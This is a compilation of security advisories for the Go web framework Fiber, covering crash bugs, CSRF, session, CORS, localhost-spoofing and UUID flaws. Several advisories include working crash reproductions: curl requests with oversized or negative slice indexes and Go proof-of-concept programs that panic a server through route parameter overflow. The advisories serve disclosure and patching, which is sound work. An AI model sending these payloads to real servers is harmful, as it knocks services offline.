github.com/gofiber/fiber/v2 known bugs

### Description When using Fiber's `Ctx.BodyParser` to parse form data containing a large numeric key that represents a slice index (e.g., `test.18446744073704`), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder. The root cause is that the decoder attempts to allocate a slice of length `idx + 1` without validating whether the index is within a safe or reasonable range. If `idx` is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash. ### Steps to Reproduce Create a POST request handler that accepts `x-www-form-urlencoded` data ```go package main import ( "fmt" "net/http" "github.com/gofiber/fiber/v2" ) type RequestBody struct { NestedContent []*struct{} `form:"test"` } func main() { app := fiber.New() app.Post("/", func(c *fiber.Ctx) error { formData := RequestBody{} if err := c.BodyParser(&formData); err != nil { fmt.Println(err) return c.SendStatus(http.StatusUnprocessableEntity) } return nil }) fmt.Println(app.Listen(":3000")) } ``` Run the server and send a POST request with a large numeric key in form data, such as: ```bash curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \ -H 'Content-Type: application/x-www-form-urlencoded' ``` ### Relevant Code Snippet Within the decoder's [decode method](https://github.com/gofiber/fiber/blob/v2.52.8/internal/schema/decoder.go#L249): ```go idx := parts[0].index if v.IsNil() || v.Len() < idx+1 { value := reflect.MakeSlice(t, idx+1, idx+1) // <-- Panic/crash occurs here when idx is huge if v.Len() < idx+1 { reflect.Copy(value, v) } v.Set(value) } ``` The `idx` is not validated before use, leading to unsafe slice allocation for extremely large values. --- ### Impact - Application panic or crash on malicious or malformed input. - Potential denial of service (DoS) via memory exhaustion or server crash. - Lack of defensive checks in the parsing code causes instability.

A Cross-Site Request Forgery (CSRF) vulnerability has been identified in the application, which allows an attacker to obtain tokens and forge malicious requests on behalf of a user. This can lead to unauthorized actions being taken on the user's behalf, potentially compromising the security and integrity of the application. ## Vulnerability Details The vulnerability is caused by improper validation and enforcement of CSRF tokens within the application. The following issues were identified: 1. **Lack of Token Association**: The CSRF token was validated against tokens in storage but was not tied to the original requestor that generated it, allowing for token reuse. ## Remediation To remediate this vulnerability, it is recommended to take the following actions: 1. **Update the Application**: Upgrade the application to a fixed version with a patch for the vulnerability. 2. **Implement Proper CSRF Protection**: Review the updated documentation and ensure your application's CSRF protection mechanisms follow best practices. 4. **Choose CSRF Protection Method**: Select the appropriate CSRF protection method based on your application's requirements, either the Double Submit Cookie method or the Synchronizer Token Pattern using sessions. 5. **Security Testing**: Conduct a thorough security assessment, including penetration testing, to identify and address any other security vulnerabilities. ## Defence-in-depth Users should take additional security measures like captchas or Two-Factor Authentication (2FA) and set Session cookies with SameSite=Lax or SameSite=Strict, and the Secure and HttpOnly attributes.

### Summary When using the `fiber.Ctx.BodyParser` to parse into a struct with range values, a panic occurs when trying to parse a negative range index ### Details `fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data. Since this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser` functionality ### Reproducing Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData ```go package main import ( "encoding/json" "fmt" "net/http" "github.com/gofiber/fiber/v2" ) type RequestBody struct { NestedContent []*struct { Value string `form:"value"` } `form:"nested-content"` } func main() { app := fiber.New() app.Post("/", func(c *fiber.Ctx) error { formData := RequestBody{} if err := c.BodyParser(&formData); err != nil { fmt.Println(err) return c.SendStatus(http.StatusUnprocessableEntity) } c.Set("Content-Type", "application/json") s, _ := json.Marshal(formData) return c.SendString(string(s)) }) fmt.Println(app.Listen(":3000")) } ``` **Correct Behaviour** Send a valid request such as: ```bash curl --location 'localhost:3000' \ --form 'nested-content[0].value="Foo"' \ --form 'nested-content[1].value="Bar"' ``` You recieve valid JSON ```json {"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]} ``` **Crashing behaviour** Send an invalid request such as: ```bash curl --location 'localhost:3000' \ --form 'nested-content[-1].value="Foo"' ``` The server panics and crashes ``` panic: reflect: slice index out of range goroutine 8 [running]: reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?) /usr/lib/go-1.24/src/reflect/value.go:1418 +0x167 github.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...}) [...] ``` ### Impact Anyone using `fiber.Ctx.BodyParser` can/will have their servers crashed when an invalid payload is sent

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow in github.com/gofiber/fiber

Fiber has an insecure fallback in utils.UUIDv4() / utils.UUID() — predictable / zero‑UUID on crypto/rand failure in github.com/gofiber/fiber

Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder in github.com/gofiber/fiber

Fiber panics when fiber.Ctx.BodyParser parses invalid range index in github.com/gofiber/fiber

Session Middleware Token Injection Vulnerability in github.com/gofiber/fiber

The CORS middleware allows for insecure configurations that could potentially expose the application to multiple CORS-related vulnerabilities. Specifically, it allows setting the Access-Control-Allow-Origin header to a wildcard ("*") while also having the Access-Control-Allow-Credentials set to true, which goes against recommended security best practices.

A cross-site request forgery vulnerability can allow an attacker to obtain tokens and forge malicious requests on behalf of a user. This can lead to unauthorized actions being taken on the user's behalf, potentially compromising the security and integrity of the application. The vulnerability is caused by improper validation and enforcement of CSRF tokens within the application. The CSRF token is validated against tokens in storage but was is not tied to the original requestor that generated it, allowing for token reuse.

A cross-site request forgery vulnerability in this package can allow an attacker to inject arbitrary values and forge malicious requests on behalf of a user. The attacker may inject arbitrary values without any authentication, or perform various malicious actions on behalf of an authenticated user, potentially compromising the security and integrity of the application. The vulnerability is caused by improper validation and enforcement of CSRF tokens within the application. For 'safe' methods, the token is extracted from the cookie and saved to storage without further validation or sanitization. In addition, the CSRF token is validated against tokens in storage but not associated with a session, nor by using a Double Submit Cookie Method, allowing for token reuse.

The Ctx.IsFromLocal function can incorrectly report a request as being sent from localhost when the request contains an X-Forwarded-For header containing a localhost IP address.

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. ## Affected Versions - **Fiber v3.0.0-rc.3** and earlier v3 releases - **Fiber v2.52.10** and potentially all v2 releases (confirmed exploitable) - Both versions share the same vulnerable routing implementation ## Vulnerability Details ### Root Cause Both Fiber v2 and v3 define a fixed-size parameter array in `ctx.go`: ```go const maxParams = 30 type DefaultCtx struct { values [maxParams]string // Fixed 30-element array // ... } ``` The `router.go` `register()` function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in `path.go` performs an unbounded write: - **v3**: `path.go:514` - **v2**: `path.go:516` ```go // path.go:514 - NO BOUNDS CHECKING params[paramsIterator] = path[:i] ``` When `paramsIterator >= 30`, this triggers: ``` panic: runtime error: index out of range [30] with length 30 ``` ### Attack Scenario 1. Application registers route with >30 parameters (e.g., via code or dynamic routing): ```go app.Get("/api/:p1/:p2/:p3/.../p35", handler) ``` 2. Attacker sends matching HTTP request: ```bash curl http://target/api/v1/v2/v3/.../v35 ``` 3. Server crashes during request processing with runtime panic ## Proof of Concept ### For Fiber v3 ```go package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v3" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9999") }() time.Sleep(200 * time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9999/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } ``` **Output:** ``` Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC) 🔴 Sending exploit request... Expected: panic at path.go:514 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v3.(*routeParser).getMatch(...) /path/to/fiber/path.go:514 github.com/gofiber/fiber/v3.(*Route).match(...) /path/to/fiber/router.go:89 github.com/gofiber/fiber/v3.(*App).next(...) /path/to/fiber/router.go:142 ``` ### For Fiber v2 ```go package main import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v2" ) func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c *fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9998") }() time.Sleep(200 * time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9998/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } } ``` **Output (v2):** ``` Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC) 🔴 Sending exploit request... Expected: panic at path.go:516 params[paramsIterator] = path[:i] panic: runtime error: index out of range [30] with length 30 goroutine 40 [running]: github.com/gofiber/fiber/v2.(*routeParser).getMatch(...) /path/to/fiber/[email protected]/path.go:512 github.com/gofiber/fiber/v2.(*Route).match(...) /path/to/fiber/[email protected]/router.go:84 github.com/gofiber/fiber/v2.(*App).next(...) /path/to/fiber/[email protected]/router.go:127 ``` ## Impact ### Exploitation Requirements - No authentication required - Single HTTP request triggers crash - Trivially scriptable for sustained DoS - Works against any route with >30 parameters ### Real-World Impact - **Public APIs**: Remote DoS attacks on vulnerable endpoints - **Microservices**: Cascade failures if vulnerable service is critical - **Auto-scaling**: Repeated crashes prevent proper recovery - **Monitoring**: Log flooding and alert fatigue ### Likelihood **HIGH** - Exploitation requires only: - Knowledge of route structure (often public in APIs) - Standard HTTP client (curl, browser, etc.) - Single malformed request ## Workarounds Until patched, users should: 1. **Audit Routes**: Ensure all routes have ≤30 parameters ```bash # Search for potential issues grep -r "/:.*/:.*/:.*" . | grep -v node_modules ``` 2. **Disable Dynamic Routing**: If programmatically registering routes, validate parameter count: ```go paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") } ``` 3. **Rate Limiting**: Deploy aggressive rate limiting to mitigate DoS impact 4. **Monitoring**: Alert on panic patterns in application logs ## Timeline - **2024-12-24**: Vulnerability discovered in v3 during PR #3962 review - **2024-12-25**: Proof of concept confirmed exploitability in v3 - **2024-12-25**: Vulnerability confirmed to also exist in v2 (same root cause) - **2024-12-25**: Security advisory created ## References - **v3 Related PR**: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause) - **Vulnerable Code Locations**: - v3: [path.go:514](https://github.com/gofiber/fiber/blob/main/path.go#L514) - v2: [path.go:516](https://github.com/gofiber/fiber/blob/v2/path.go#L516) ## Credit **Discovered by:** @sixcolors (Fiber maintainer) and @TheAspectDev

The Olivier Poitrey Go CORS handler through 1.3.0 actively converts a wildcard CORS policy into reflecting an arbitrary Origin header value, which is incompatible with the CORS security design, and could lead to CORS misconfiguration security problems.

### Impact This vulnerability can be categorized as a security misconfiguration. It impacts users of our project who rely on the [ctx.IsFromLocal()](https://docs.gofiber.io/api/ctx#isfromlocal) method to restrict access to localhost requests. If exploited, it could allow unauthorized access to resources intended only for localhost. In it's implementation it uses c.IPs(): ```go // IPs returns a string slice of IP addresses specified in the X-Forwarded-For request header. // When IP validation is enabled, only valid IPs are returned. func (c *Ctx) IPs() []string { return c.extractIPsFromHeader(HeaderXForwardedFor) } ``` Thereby, setting `X-Forwarded-For: 127.0.0.1` in a request from a foreign host, will result in true for [ctx.IsFromLocal()](https://docs.gofiber.io/api/ctx#isfromlocal) ### Patches This issue has been patched in `v2.49.2` with commit [b8c9ede6efa231116c4bd8bb9d5e03eac1cb76dc](https://github.com/gofiber/fiber/commit/b8c9ede6efa231116c4bd8bb9d5e03eac1cb76dc) ### Workarounds Currently, there are no known workarounds to remediate this vulnerability without upgrading to the patched version. We strongly advise users to apply the patch as soon as it is released. ### References For further information and context regarding this security issue, please refer to the following resources: - [Mozilla Developer Network - X-Forwarded-For](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For)

The CORS middleware allows for insecure configurations that could potentially expose the application to multiple CORS-related vulnerabilities. Specifically, it allows setting the Access-Control-Allow-Origin header to a wildcard ("*") while also having the Access-Control-Allow-Credentials set to true, which goes against recommended security best practices. ## Impact The impact of this misconfiguration is high as it can lead to unauthorized access to sensitive user data and expose the system to various types of attacks listed in the PortSwigger article linked in the references. ## Proof of Concept The code in cors.go allows setting a wildcard in the AllowOrigins while having AllowCredentials set to true, which could lead to various vulnerabilities. ## Potential Solution Here is a potential solution to ensure the CORS configuration is secure: ```go func New(config ...Config) fiber.Handler { if cfg.AllowCredentials && cfg.AllowOrigins == "*" { panic("[CORS] Insecure setup, 'AllowCredentials' is set to true, and 'AllowOrigins' is set to a wildcard.") } // Return new handler goes below } The middleware will not allow insecure configurations when using `AllowCredentials` and `AllowOrigins`. ``` ## Workarounds For the meantime, users are advised to manually validate the CORS configurations in their implementation to ensure that they do not allow a wildcard origin when credentials are enabled. The browser fetch api, browsers and utilities that enforce CORS policies are not affected by this. ## References [MDN Web Docs on CORS Errors](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials) [CodeQL on CORS Misconfiguration](https://codeql.github.com/codeql-query-help/javascript/js-cors-misconfiguration-for-credentials/) [PortSwigger on Exploiting CORS Misconfigurations](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html) [WhatWG CORS protocol and credentials ](https://fetch.spec.whatwg.org/#cors-protocol-and-credentials)

A security vulnerability has been identified in the Fiber session middleware where a user can supply their own session_id value, leading to the creation of a session with that key. ## Impact The identified vulnerability is a session middleware issue in GoFiber versions 2 and above. This vulnerability allows users to supply their own session_id value, resulting in the creation of a session with that key. If a website relies on the mere presence of a session for security purposes, this can lead to significant security risks, including unauthorized access and session fixation attacks. All users utilizing GoFiber's session middleware in the affected versions are impacted. ## Patches The issue has been addressed in the latest patch. Users are strongly encouraged to upgrade to version 2.52.5 or higher to mitigate this vulnerability. ## Workarounds Users who are unable to upgrade immediately can apply the following workarounds to reduce the risk: 1. **Validate Session IDs**: Implement additional validation to ensure session IDs are not supplied by the user and are securely generated by the server. 2. **Session Management**: Regularly rotate session IDs and enforce strict session expiration policies. ## References For more information on session best practices: - [OWASP Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) Users are encouraged to review these references and take immediate action to secure their applications.

A Cross-Site Request Forgery (CSRF) vulnerability has been identified in the application, which allows an attacker to inject arbitrary values and forge malicious requests on behalf of a user. This vulnerability can allow an attacker to inject arbitrary values without any authentication, or perform various malicious actions on behalf of an authenticated user, potentially compromising the security and integrity of the application. ## Vulnerability Details The vulnerability is caused by improper validation and enforcement of CSRF tokens within the application. The following issues were identified: 1. **Token Injection**: For 'safe' methods, the token was extracted from the cookie and saved to storage without further validation or sanitization. 2. **Lack of Token Association**: The CSRF token was validated against tokens in storage but not associated with a session, nor by using a Double Submit Cookie Method, allowing for token reuse. ### Specific Go Packages Affected github.com/gofiber/fiber/v2/middleware/csrf ## Remediation To remediate this vulnerability, it is recommended to take the following actions: 1. **Update the Application**: Upgrade the application to a fixed version with a patch for the vulnerability. 2. **Implement Proper CSRF Protection**: Review the updated documentation and ensure your application's CSRF protection mechanisms follow best practices. 4. **Choose CSRF Protection Method**: Select the appropriate CSRF protection method based on your application's requirements, either the Double Submit Cookie method or the Synchronizer Token Pattern using sessions. 5. **Security Testing**: Conduct a thorough security assessment, including penetration testing, to identify and address any other security vulnerabilities. ## Defence-in-depth Users should take additional security measures like captchas or Two-Factor Authentication (2FA) and set Session cookies with SameSite=Lax or SameSite=Secure, and the Secure and HttpOnly attributes.

Fiber v2 contains an internal vendored copy of `gofiber/utils`, and its functions `UUIDv4()` and `UUID()` inherit the same critical weakness described in the upstream advisory. On **Go versions prior to 1.24**, the underlying `crypto/rand` implementation **can return an error** if secure randomness cannot be obtained. In such cases, these Fiber v2 UUID functions silently fall back to generating predictable values — the all-zero UUID `00000000-0000-0000-0000-000000000000`. On Go **1.24+**, the language guarantees that `crypto/rand` no longer returns an error (it will block or panic instead), so this vulnerability primarily affects **Fiber v2 users running Go 1.23 or earlier**, which Fiber v2 officially supports. Because no error is returned by the Fiber v2 UUID functions, application code may unknowingly rely on *predictable, repeated, or low-entropy identifiers* in security-critical pathways. This is especially impactful because many Fiber v2 middleware components (session middleware, CSRF, rate limiting, request-ID generation, etc.) **default to using `utils.UUIDv4()`**. Impact includes, but is not limited to: * **Session fixation or hijacking** (predictable session IDs) * **CSRF token forgery** or bypass * **Authentication replay / token prediction** * **Potential denial-of-service (DoS):** if the zero UUID is generated, key-based structures (sessions, rate-limits, caches, CSRF stores) may collapse into a single shared key, causing overwrites, lock contention, or state corruption * **Request-ID collisions**, undermining logging and trace integrity * **General compromise** of confidentiality, integrity, and authorization logic relying on UUIDs for uniqueness or secrecy All Fiber v2 versions containing the internal `utils.UUIDv4()` / `utils.UUID()` implementation are affected when running on **Go <1.24**. **No patched Fiber v2 release currently exists.** --- ## Suggested Mitigations / Workarounds Update to the latest version of Fiber v2. --- ### Likelihood / Environmental Factors It’s important to note that **entropy exhaustion on modern Linux systems is extremely rare**, as the kernel’s CSPRNG is resilient and non-blocking. However, **entropy-source failures** — where `crypto/rand` cannot read from its underlying provider — are significantly more likely in certain environments. This includes containerized deployments, restricted sandboxes, misconfigured systems lacking read access to `/dev/urandom` or platform-equivalent sources, chrooted or jailed environments, embedded devices, or systems with non-standard or degraded randomness providers. On **Go <1.24**, such failures cause `crypto/rand` to return an error, which the Fiber v2 UUID functions currently treat as a signal to silently generate predictable UUIDs, including the zero UUID. This silent fallback is the root cause of the vulnerability. --- ## References * Upstream advisory for `gofiber/utils`: **GHSA-m98w-cqp3-qcqr** * Source repositories: * `github.com/gofiber/fiber` * `github.com/gofiber/utils` --- ## Credits / Reporter Reported by **@sixcolors** (Fiber Maintainer / Security Team)